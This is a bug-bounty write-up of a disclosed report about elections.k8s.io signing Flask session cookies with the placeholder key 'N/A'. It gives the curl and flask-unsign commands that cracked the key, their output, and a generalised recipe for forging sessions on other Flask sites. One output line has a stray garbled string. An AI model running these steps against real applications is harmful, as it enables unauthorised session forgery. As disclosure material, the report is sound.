# elections.k8s.io uses weak session secret key, may place elections at risk

elections.k8s.io signed Flask session cookies with the literal SECRET_KEY 'N/A', letting anyone forge or tamper with session data.

- Payout: $250
- Severity: high
- Program: Kubernetes
- Found by: ian
- Disclosed: 2025-09-19
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1387366
- Library page: https://bugbountylibrary.com/r/h1%3A1387366
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:python technique:default-creds technique:source-review vuln:crypto vuln:secrets-leak

**Target:** Flask web application session cookies (elections.k8s.io)
**Root cause:** The Elekto deployment set Flask's SECRET_KEY to the literal string 'N/A' instead of a random value, so session cookies were signed with a trivially guessable key.
**Steps:**
1. Fetch a session cookie: `curl https://elections.k8s.io -Is | grep cookie` returns `set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg`
2. Install the tool: `pip3 install flask-unsign[wordlist]`
3. Brute-force the signing key: `flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"`
4. Tool recovers the secret `'N/A'` after 8192 attempts, confirming the key
5. With the key known, sign arbitrary session contents (e.g. tampered OAuth token/session state) and replay them to the app
**How found:** Built a tool (CookieMonster) to detect misconfigured session signing across bug bounty programs; applied it to elections.k8s.io and found the Flask session cookie signed with a guessable key, cross-checked against Elekto's config.py warning about SECRET_KEY.
**Exploitation:** Recover the Flask signing key via flask-unsign, then forge or modify session cookies. Because Elekto stores the GitHub OAuth token in the session rather than a user ID, direct account impersonation is hard, but tampered sessions could enable cross-origin request forgery against voting or authentication flows.
**Insight:** Flask session cookies are only as strong as SECRET_KEY; deployments often leave the default or a placeholder like 'N/A'/'test'. Grab any set-cookie, run flask-unsign with a wordlist, and if the key falls, inspect what the session actually stores (tokens vs user IDs) to judge real impact.

## Proof of concept (copied exactly from the original report)

**curl and flask-unsign cracking the session secret**

```
% curl https://elections.k8s.io -Is | grep cookie
set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg; Expires=Thu, 02 Dec 2021 07:23:10 GMT; HttpOnly; Path=/

% flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
[*] Session decodes to: {'_permanent': True}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 8192 attemptspdcQHNyXaB0O
'N/A'
```

